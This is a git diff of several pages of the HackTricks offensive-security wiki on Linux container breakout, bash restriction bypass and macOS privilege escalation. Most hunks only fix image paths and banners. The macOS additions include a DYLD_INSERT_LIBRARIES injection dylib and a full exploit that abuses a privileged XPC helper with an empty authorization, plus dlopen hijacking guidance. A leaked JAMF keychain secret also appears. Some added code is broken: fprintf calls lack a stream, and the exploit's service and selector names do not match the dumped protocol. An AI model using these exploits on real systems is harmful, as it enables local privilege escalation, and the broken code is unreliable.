 * [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
 * [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md

@@ -12,10 +12,10 @@
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -521,9 +521,9 @@ cat /proc/self/status | grep CapEff
 
 The second technique explained in the post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -663,11 +663,9 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
 * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
 * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
 
+<figure><img src="../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
-
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
-
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

linux-hardening/useful-linux-commands/README.md

@@ -1,6 +1,6 @@
 # Useful Linux Commands
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -15,8 +15,8 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -141,7 +141,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
 7z l file.zip
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -309,12 +309,12 @@ iptables -P OUTPUT ACCEPT
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

linux-hardening/useful-linux-commands/bypass-bash-restrictions.md

@@ -12,10 +12,10 @@
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -366,10 +366,10 @@ If you are inside a filesystem with the **read-only and noexec protections** or
 * [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
 * [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

macos-hardening/macos-red-teaming/README.md

@@ -53,7 +53,7 @@ Moreover, after finding proper credentials you could be able to brute-force othe
 
 #### JAMF device Authentication
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
 Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md

@@ -1108,6 +1108,42 @@ sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
 sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
 ```
 
+### Client inside a Dylib code
+
+```
+// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
+// gcc injection example:
+// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin
+
+#import <Foundation/Foundation.h>
+
+@protocol MyXPCProtocol
+- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
+@end
+
+__attribute__((constructor))
+static void customConstructor(int argc, const char **argv)
+{
+        NSString*  _serviceName = @"xyz.hacktricks.svcoc";
+
+        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
+    
+        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]];
+    
+        [_agentConnection resume];
+
+        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
+            (void)error;
+            NSLog(@"Connection Failure");
+        }] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
+            NSLog(@"Received response: %@", response);
+    }    ];
+        NSLog(@"Done!");
+
+    return;
+}
+```
+
 ## References
 
 * [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md

@@ -296,6 +296,156 @@ Rights with 'session-owner': 'true':
 authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
 ```
 
+## Reversing Authorization
+
+### Checking if EvenBetterAuthorization is used
+
+If you find the function: **`[HelperTool checkAuthorization:command:]`** it's probably the the process is using the previously mentioned schema for authorization:
+
+<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+
+Thisn, if this function is calling functions such as `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, it's using [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
+
+Check the **`/var/db/auth.db`** to see if it's possible to get permissions to call some privileged action without user interaction.
+
+### Protocol Communication
+
+Then, you need to find the protocol schema in order to be able to establish a communication with the XPC service.
+
+The function **`shouldAcceptNewConnection`** indicates the protocol being exported:
+
+<figure><img src="../../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+
+In this case, we have the same as in EvenBetterAuthorizationSample, [**check this line**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
+
+Knowing, the name of the used protocol, it's possible to **dump its header definition** with:
+
+```
+class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
+
+[...]
+@protocol HelperToolProtocol
+- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
+- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
+- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
+- (void)getVersionWithReply:(void (^)(NSString *))arg1;
+- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
+@end
+[...]
+```
+
+Lastly, we just need to know the **name of the exposed Mach Service** in order to stablish a communication with it. There are several ways to find this:
+
+* In the **`[HelperTool init]`** where you can see the Mach Service being used:
+
+<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+
+* In the launchd plist:
+
+```
+cat /Library/LaunchDaemons/com.example.HelperTool.plist
+
+[...]
+
+	<key>MachServices</key>
+	<dict>
+		<key>com.example.HelperTool</key>
+		<true/>
+	</dict>
+[...]
+```
+
+### Exploit Example
+
+In this example is created:
+
+* The definition of the protocol with the functions
+* An empty auth to use to to ask for access
+* A connection to the XPC service
+* A call to the function if the connection was successfull
+
+```
+// gcc -framework Foundation -framework Security expl.m -o expl
+
+#import <Foundation/Foundation.h>
+#import <Security/Security.h>
+
+// Define a unique service name for the XPC helper
+static NSString* XPCServiceName = @"com.example.XPCHelper";
+
+// Define the protocol for the helper tool
+@protocol XPCHelperProtocol
+- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
+- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
+- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
+- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
+- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
+@end
+
+int main(void) {
+    NSData *authData;
+    OSStatus status;
+    AuthorizationExternalForm authForm;
+    AuthorizationRef authReference = {0};
+    NSString *proxyAddress = @"127.0.0.1";
+    NSString *proxyPort = @"4444";
+    Boolean isProxyEnabled = true;
+     
+    // Create an empty authorization reference
+    status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
+    const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
+    NSLog(@"OSStatus: %s", errorMsg);
+    
+    // Convert the authorization reference to an external form
+    if (status == errAuthorizationSuccess) {
+        status = AuthorizationMakeExternalForm(authReference, &authForm);
+        errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
+        NSLog(@"OSStatus: %s", errorMsg);
+    }
+    
+    // Convert the external form to NSData for transmission
+    if (status == errAuthorizationSuccess) {
+        authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
+        errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
+        NSLog(@"OSStatus: %s", errorMsg);
+    }
+    
+    // Ensure the authorization was successful
+    assert(status == errAuthorizationSuccess);
+     
+    // Establish an XPC connection
+    NSString *serviceName = XPCServiceName;
+    NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
+    NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
+    [xpcConnection setRemoteObjectInterface:xpcInterface];
+    [xpcConnection resume];
+
+    // Handle errors for the XPC connection
+    id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
+        NSLog(@"[-] Connection error");
+        NSLog(@"[-] Error: %@", error);
+    }];
+
+    // Log the remote proxy and connection objects
+    NSLog(@"Remote Proxy: %@", remoteProxy);
+    NSLog(@"XPC Connection: %@", xpcConnection);
+
+    // Use the legacy method to configure the proxy
+    [remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
+        NSLog(@"Response: %@", error);
+    }];
+         
+    // Allow some time for the operation to complete
+    [NSThread sleepForTimeInterval:10.0f];
+    
+    NSLog(@"Finished!");
+}
+```
+
+## References
+
+* [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
+
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md

@@ -22,7 +22,7 @@ Obviamente, esto es tan poderoso que es complicado cargar una extensión de kern
 
 * Al entrar en **modo de recuperación**, las extensiones de kernel deben estar **permitidas para ser cargadas**:
 
-<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 * La extensión de kernel debe estar **firmada con un certificado de firma de código de kernel**, que solo puede ser otorgado por **Apple**. Quien revisará en detalle la **empresa** y las **razones** por las que se necesita.
 * La extensión de kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.

macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md

@@ -203,7 +203,7 @@ Example of **section header**:
 
 If you **add** the **section offset** (0x37DC) + the **offset** where the **arch starts**, in this case `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
 
-<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 It's also possible to get **headers information** from the **command line** with:
 

macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md

@@ -21,7 +21,7 @@ It creates a 2 of names pipes per .Net process in [dbgtransportsession.cpp#L127]
 
 So, if you go to the users **`$TMPDIR`** you will be able to find **debugging fifos** you could use to debug .Net applications:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 The function [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) will handle the communication from a debugger.
 

macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md

@@ -63,13 +63,20 @@ First of all, is **more common** to find that **MacOS binaries indicates the ful
 
 The **main** part of the **code** related to this functionality is in **`ImageLoader::recursiveLoadLibraries`** in `ImageLoader.cpp`.
 
+There are **4 different header Commands** a macho binary can use to load libraries:
+
+* **`LC_LOAD_DYLIB`** command is the common command to load a dylib.
+* **`LC_LOAD_WEAK_DYLIB`** command works like the previous one, but if the dylib is not found, execution continues without any error.
+* **`LC_REEXPORT_DYLIB`** command it proxies (or re-exports) the symbols from a different library.
+* **`LC_LOAD_UPWARD_DYLIB`** command is used when two libraries depend on each other (this is called an _upward dependency_).
+
 However, there are **2 types of dylib hijacking**:
 
 * **Missing weak linked libraries**: This means that the application will try to load a library that doesn't exist configured with **LC\_LOAD\_WEAK\_DYLIB**. Then, **if an attacker places a dylib where it's expected it will be loaded**.
   * The fact that the link is "weak" means that the application will continue running even if the library isn't found.
   * The **code related** to this is in the function `ImageLoaderMachO::doGetDependentLibraries` of `ImageLoaderMachO.cpp` where `lib->required` is only `false` when `LC_LOAD_WEAK_DYLIB` is true.
   * **Find weak liked libraries** in binaries with (you have later an example on how to create hijacking libraries):
-    * ```
+    * ```bash
       otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
       cmdsize 56
       name /var/tmp/lib/libUtl.1.dylib (offset 24)
@@ -105,23 +112,38 @@ A nice **report with technical details** about this technique can be found [**he
 [macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
 {% endcontent-ref %}
 
-### Dlopen Hijacking
+## Dlopen Hijacking
 
 From **`man dlopen`**:
 
-* When path **does not contain a slash character** (i.e. it is just a leaf name), **dlopen() will do searching**. If **`$DYLD_LIBRARY_PATH`** was set at launch, dyld will first **look in that director**y. Next, if the calling mach-o file or the main executable specify an **`LC_RPATH`**, then dyld will **look in those** directories. Next, if the process is **unrestricted**, dyld will search in the **current working directory**. Lastly, for old binaries, dyld will try some fallbacks. If **`$DYLD_FALLBACK_LIBRARY_PATH`** was set at launch, dyld will search in **those directories**, otherwise, dyld will look in **`/usr/local/lib/`** (if the process is unrestricted), and then in **`/usr/lib/`**.
+* When path **does not contain a slash character** (i.e. it is just a leaf name), **dlopen() will do searching**. If **`$DYLD_LIBRARY_PATH`** was set at launch, dyld will first **look in that director**y. Next, if the calling mach-o file or the main executable specify an **`LC_RPATH`**, then dyld will **look in those** directories. Next, if the process is **unrestricted**, dyld will search in the **current working directory**. Lastly, for old binaries, dyld will try some fallbacks. If **`$DYLD_FALLBACK_LIBRARY_PATH`** was set at launch, dyld will search in **those directories**, otherwise, dyld will look in **`/usr/local/lib/`** (if the process is unrestricted), and then in **`/usr/lib/`** (this info was taken from **`man dlopen`**).
   1. `$DYLD_LIBRARY_PATH`
   2. `LC_RPATH`
   3. `CWD`(if unrestricted)
   4. `$DYLD_FALLBACK_LIBRARY_PATH`
   5. `/usr/local/lib/` (if unrestricted)
   6. `/usr/lib/`
-* When path **looks like a framework** path (e.g. /stuff/foo.framework/foo), if **`$DYLD_FRAMEWORK_PATH`** was set at launch, dyld will first look in that directory for the framework partial path (e.g. foo.framework/foo). Next, dyld will try the **supplied path as-is** (using current working directory for relative paths). Lastly, for old binaries, dyld will try some fallbacks. If **`$DYLD_FALLBACK_FRAMEWORK_PATH`** was set at launch, dyld will search those directories. Otherwise, it will search **`/Library/Frameworks`** (on macOS if process is unrestricted), then **`/System/Library/Frameworks`**.
+
+{% hint style="danger" %}
+If no slashes in the name, there would be 2 ways to do an hijacking:
+
+* If any **`LC_RPATH`** is **writable** (but signature is checked, so for this you also need the binary to be unrestricted)
+* If the binary is **unrestricted** and then it's possible to load something from the CWD (or abusing one of the mentioned env variables)
+{% endhint %}
+
+* When path **looks like a framework** path (e.g. `/stuff/foo.framework/foo`), if **`$DYLD_FRAMEWORK_PATH`** was set at launch, dyld will first look in that directory for the **framework partial path** (e.g. `foo.framework/foo`). Next, dyld will try the **supplied path as-is** (using current working directory for relative paths). Lastly, for old binaries, dyld will try some fallbacks. If **`$DYLD_FALLBACK_FRAMEWORK_PATH`** was set at launch, dyld will search those directories. Otherwise, it will search **`/Library/Frameworks`** (on macOS if process is unrestricted), then **`/System/Library/Frameworks`**.
   1. `$DYLD_FRAMEWORK_PATH`
-  2. supplied path (using current working directory for relative paths)
+  2. supplied path (using current working directory for relative paths if unrestricted)
-  3. `$DYLD_FALLBACK_FRAMEWORK_PATH`(if unrestricted)
+  3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
   4. `/Library/Frameworks` (if unrestricted)
   5. `/System/Library/Frameworks`
+
+{% hint style="danger" %}
+If a framework path, the way to hijack it would be:
+
+* If the process is **unrestricted**, abusing the **relative path from CWD** the mentioned env variables (even if it's not said in the docs if the process is restricted DYLD\_\* env vars are removed)
+{% endhint %}
+
 * When path **contains a slash but is not a framework path** (i.e. a full path or a partial path to a dylib), dlopen() first looks in (if set) in **`$DYLD_LIBRARY_PATH`** (with leaf part from path ). Next, dyld **tries the supplied path** (using current working directory for relative paths (but only for unrestricted processes)). Lastly, for older binaries, dyld will try fallbacks. If **`$DYLD_FALLBACK_LIBRARY_PATH`** was set at launch, dyld will search in those directories, otherwise, dyld will look in **`/usr/local/lib/`** (if the process is unrestricted), and then in **`/usr/lib/`**.
   1. `$DYLD_LIBRARY_PATH`
   2. supplied path (using current working directory for relative paths if unrestricted)
@@ -129,43 +151,63 @@ From **`man dlopen`**:
   4. `/usr/local/lib/` (if unrestricted)
   5. `/usr/lib/`
 
-Note: If the main executable is a **set\[ug]id binary or codesigned with entitlements**, then **all environment variables are ignored**, and only a full path can be used.
+{% hint style="danger" %}
+If slashes in the name and not a framework, the way to hijack it would be:
+
+* If the binary is **unrestricted** and then it's possible to load something from the CWD or `/usr/local/lib` (or abusing one of the mentioned env variables)
+{% endhint %}
+
+{% hint style="info" %}
+Note: There are **no** configuration files to **control dlopen searching**.
+
+Note: If the main executable is a **set\[ug]id binary or codesigned with entitlements**, then **all environment variables are ignored**, and only a full path can be used ([check DYLD\_INSERT\_LIBRARIES restrictions](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions) for more detailed info)
+
+Note: Apple platforms use "universal" files to combine 32-bit and 64-bit libraries. This means there are **no separate 32-bit and 64-bit search paths**.
+
+Note: On Apple platforms most OS dylibs are **combined into the dyld cache** and do not exist on disk. Therefore, calling **`stat()`** to preflight if an OS dylib exists **won't work**. However, **`dlopen_preflight()`** uses the same steps as **`dlopen()`** to find a compatible mach-o file.
+{% endhint %}
 
 **Check paths**
 
 Lets check all the options with the following code:
 
 ```c
+// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
 #include <dlfcn.h>
 #include <stdio.h>
 
 int main(void)
 {
     void* handle;
-
+    
+    fprintf("--- No slash ---\n");
     handle = dlopen("just_name_dlopentest.dylib",1);
     if (!handle) {
-        fprintf(stderr, "Error loading: %s\n", dlerror());
+        fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
     }
 
+    fprintf("--- Relative framework ---\n");
     handle = dlopen("a/framework/rel_framework_dlopentest.dylib",1);
     if (!handle) {
-        fprintf(stderr, "Error loading: %s\n", dlerror());
+        fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
     }
-
+    
+    fprintf("--- Abs framework ---\n");
     handle = dlopen("/a/abs/framework/abs_framework_dlopentest.dylib",1);
     if (!handle) {
-        fprintf(stderr, "Error loading: %s\n", dlerror());
+        fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
     }
-
+    
+    fprintf("--- Relative Path ---\n");
     handle = dlopen("a/folder/rel_folder_dlopentest.dylib",1);
     if (!handle) {
-        fprintf(stderr, "Error loading: %s\n", dlerror());
+        fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
     }
-
+    
+    fprintf("--- Abs Path ---\n");
     handle = dlopen("/a/abs/folder/abs_folder_dlopentest.dylib",1);
     if (!handle) {
-        fprintf(stderr, "Error loading: %s\n", dlerror());
+        fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
     }
 
     return 0;
@@ -178,6 +220,117 @@ If you compile and execute it you can see **where each library was unsuccessfull
 sudo fs_usage | grep "dlopentest"
 ```
 
+## Prune `DYLD_*` and `LD_LIBRARY_PATH` env variables
+
